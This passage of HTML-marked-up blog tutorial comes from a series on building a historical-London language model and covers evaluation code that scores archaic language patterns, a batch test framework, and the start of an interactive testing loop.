&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; conj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            conj_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; historical_conjunctions:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.2&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (conj_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(historical_conjunctions))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for appropriate use of historical interjections&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    historical_interjections &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;verily&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;indeed&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;forsooth&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;prithee&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;marry&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    interj_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; interj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; historical_interjections:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; interj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            interj_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; historical_interjections:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.2&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (interj_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(historical_interjections))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; total_patterns &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; total_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 3: Linguistic Quality Evaluation&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;About NLTK:&lt;/strong&gt; We use &lt;strong&gt;NLTK&lt;/strong&gt; (Natural Language Toolkit), a standard Python library for natural language processing, to handle text tokenization. If you followed &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt;&amp;rsquo;s setup instructions, NLTK was already installed as part of the data processing dependencies. In &lt;code&gt;check_grammatical_correctness()&lt;/code&gt;, we use &lt;code&gt;nltk.sent_tokenize()&lt;/code&gt; to split text into sentences so we can evaluate grammar sentence-by-sentence. NLTK also provides word tokenization (&lt;code&gt;word_tokenize&lt;/code&gt;) and BLEU score calculation (&lt;code&gt;sentence_bleu&lt;/code&gt;), which are used elsewhere in the evaluation pipeline.&lt;/p&gt;
&lt;p&gt;We chose NLTK because it&amp;rsquo;s well-established, handles edge cases (like abbreviations and historical punctuation), and provides reliable sentence boundaries even with archaic English patterns. The same qualities made it useful during data collection and cleaning (covered in &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The historical language patterns we check (verbs like &lt;em&gt;&lt;strong&gt;hath, doth&lt;/strong&gt;&lt;/em&gt;, pronouns like &lt;em&gt;&lt;strong&gt;thou, thee&lt;/strong&gt;&lt;/em&gt;, conjunctions like &lt;em&gt;&lt;strong&gt;whilst, betwixt&lt;/strong&gt;&lt;/em&gt;, and interjections like &lt;em&gt;&lt;strong&gt;verily, forsooth&lt;/strong&gt;&lt;/em&gt;) are the same archaic forms we identified during corpus analysis for temporal consistency. The difference here is that we&amp;rsquo;re measuring their presence as a positive signal of historical authenticity, rather than using them as required/forbidden constraints. Each pattern category (verbs, pronouns, conjunctions, interjections) contributes proportionally to the score based on how many patterns from that category appear in the text.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How the scoring works&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;assess_linguistic_quality()&lt;/code&gt;&lt;/strong&gt; function averages five component scores (&lt;code&gt;grammar&lt;/code&gt;, &lt;code&gt;coherence&lt;/code&gt;, &lt;code&gt;vocabulary appropriateness&lt;/code&gt;, &lt;code&gt;sentence structure variety&lt;/code&gt;, and &lt;code&gt;historical language patterns&lt;/code&gt;) to produce a single score between &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt;. Each component is evaluated independently and returns a score in the range &lt;code&gt;[0, 1]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, &lt;strong&gt;&lt;code&gt;check_grammatical_correctness()&lt;/code&gt;&lt;/strong&gt; counts the proportion of grammatically correct sentences, while &lt;strong&gt;&lt;code&gt;check_historical_language_patterns()&lt;/code&gt;&lt;/strong&gt; weights the presence of archaic verb forms (30%), pronouns (30%), conjunctions (20%), and interjections (20%) to produce a pattern score. The final linguistic quality score is the simple average of all five components. In practice, scores above &lt;code&gt;0.75&lt;/code&gt; indicate strong linguistic quality with good grammar and historical flavor, while scores below 0.6 suggest the model struggles with either basic grammar or historical language patterns.&lt;/p&gt;
&lt;h3 id=&#34;25-running-evaluations&#34;&gt;2.5 Running Evaluations&lt;/h3&gt;
&lt;p&gt;You can run the evaluators directly from the command line. The framework defaults to CPU for safety (so you can evaluate during training without GPU conflicts), but you can use &lt;code&gt;--device gpu&lt;/code&gt; when the GPU is free for faster evaluation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quick example:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Quick evaluation (runs in minutes, no external APIs)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 05_evaluation/run_evaluation.py --mode quick --device cpu
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Comprehensive evaluation (includes benchmarks, optional G-Eval)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 05_evaluation/run_evaluation.py --mode comprehensive --device cpu&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The unified launcher (&lt;strong&gt;&lt;code&gt;run_evaluation.py&lt;/code&gt;&lt;/strong&gt;) supports multiple modes: &lt;code&gt;setup&lt;/code&gt; (install dependencies), &lt;code&gt;quick&lt;/code&gt; (fast validation), &lt;code&gt;comprehensive&lt;/code&gt; (full suite with benchmarks), &lt;code&gt;dataset&lt;/code&gt; (generate test cases), and &lt;code&gt;all&lt;/code&gt; (complete evaluation). You can also call &lt;strong&gt;&lt;code&gt;quick_eval.py&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;comprehensive_evaluator.py&lt;/code&gt;&lt;/strong&gt; directly if you need more control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Practical Evaluation Workflow:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our typical evaluation workflow follows this pattern:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;After Training&lt;/strong&gt;: Run a quick evaluation to get immediate feedback on model performance&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Before Publishing&lt;/strong&gt;: Run a comprehensive evaluation to ensure the model meets quality standards&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;During Development&lt;/strong&gt;: Use interactive testing to explore model behavior on specific prompts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For Research&lt;/strong&gt;: Generate custom test datasets and run targeted evaluations&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The framework defaults to CPU for safety (so you can evaluate during training without GPU conflicts), but you can use &lt;code&gt;--device gpu&lt;/code&gt; when the GPU is free for faster evaluation. This design allows continuous assessment throughout the training process without interfering with GPU resources needed for training.&lt;/p&gt;
&lt;p&gt;For complete usage examples, command-line options, and troubleshooting, see the &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/08_documentation/EVALUATION_GUIDE.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Evaluation Guide
	&lt;/span&gt;
&lt;/a&gt; in the repository.&lt;/p&gt;
&lt;h2 id=&#34;3-comprehensive-testing-pipeline&#34;&gt;3. Comprehensive Testing Pipeline&lt;/h2&gt;
&lt;h3 id=&#34;31-automated-testing-framework&#34;&gt;3.1 Automated Testing Framework&lt;/h3&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;06_testing&lt;/code&gt;&lt;/strong&gt; package contains a parallel set of tests that double-check the full system. &lt;a href=&#34;#listing4&#34; class=&#34;listing-ref&#34;&gt;Listing 4&lt;/a&gt; captures the idea behind &lt;strong&gt;&lt;code&gt;run_comprehensive_tests&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We group tests into basic functionality, historical accuracy, linguistic quality, performance, edge cases, and integration, then run them as a batch and emit a structured report. This mirrors how you would build a real CI test suite, but at a scale appropriate for this learning project.&lt;/p&gt;
&lt;figure id=&#34;listing4&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;run_comprehensive_tests&lt;/span&gt;(model, tokenizer, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Run comprehensive tests on historical language model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test_results &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;basic_functionality&amp;#39;&lt;/span&gt;: test_basic_functionality(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical_accuracy&amp;#39;&lt;/span&gt;: test_historical_accuracy(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;linguistic_quality&amp;#39;&lt;/span&gt;: test_linguistic_quality(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;performance_metrics&amp;#39;&lt;/span&gt;: test_performance_metrics(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;edge_cases&amp;#39;&lt;/span&gt;: test_edge_cases(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;integration_tests&amp;#39;&lt;/span&gt;: test_integration(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate test report&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    generate_test_report(test_results)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; test_results
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_basic_functionality&lt;/span&gt;(model, tokenizer, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test basic model functionality&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;text_generation&amp;#39;&lt;/span&gt;: test_text_generation(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tokenization&amp;#39;&lt;/span&gt;: test_tokenization(tokenizer),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;model_loading&amp;#39;&lt;/span&gt;: test_model_loading(model, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;memory_usage&amp;#39;&lt;/span&gt;: test_memory_usage(model, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;inference_speed&amp;#39;&lt;/span&gt;: test_inference_speed(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tests
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_historical_accuracy&lt;/span&gt;(model, tokenizer, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test historical accuracy of generated text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;temporal_consistency&amp;#39;&lt;/span&gt;: test_temporal_consistency(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;factual_accuracy&amp;#39;&lt;/span&gt;: test_factual_accuracy(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;period_appropriate_language&amp;#39;&lt;/span&gt;: test_period_language(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;geographical_accuracy&amp;#39;&lt;/span&gt;: test_geographical_accuracy(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;social_context_accuracy&amp;#39;&lt;/span&gt;: test_social_context(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; tests&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 4: Comprehensive Testing Framework&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Automated tests cover basics, historical accuracy, linguistic quality, performance, edge cases, and integration.&lt;/p&gt;
&lt;h3 id=&#34;32-interactive-testing-and-validation&#34;&gt;3.2 Interactive Testing and Validation&lt;/h3&gt;
&lt;p&gt;For manual exploration, the interactive testing interface (conceptually similar to the CLI flows in &lt;strong&gt;&lt;code&gt;06_inference/inference_unified.py&lt;/code&gt;&lt;/strong&gt;) lets you type prompts, trigger specific test groups, and immediately inspect analysis for each generation. &lt;a href=&#34;#listing5&#34; class=&#34;listing-ref&#34;&gt;Listing 5&lt;/a&gt; shows a simple REPL loop that dispatches to the same evaluation helpers used in the automated tests.&lt;/p&gt;
&lt;figure id=&#34;listing5&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;interactive_testing&lt;/span&gt;(model, tokenizer, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Interactive testing interface for historical language model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Interactive Testing Mode&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;=&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Enter prompts to test the model. Type &amp;#39;quit&amp;#39; to exit.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Available commands:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  - Enter any text prompt to generate continuation&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  - &amp;#39;test_historical&amp;#39; - Run historical accuracy tests&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  - &amp;#39;test_linguistic&amp;#39; - Run linguistic quality tests&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  - &amp;#39;test_performance&amp;#39; - Run performance tests&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  - &amp;#39;quit&amp;#39; - Exit testing mode&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Enter prompt: &amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
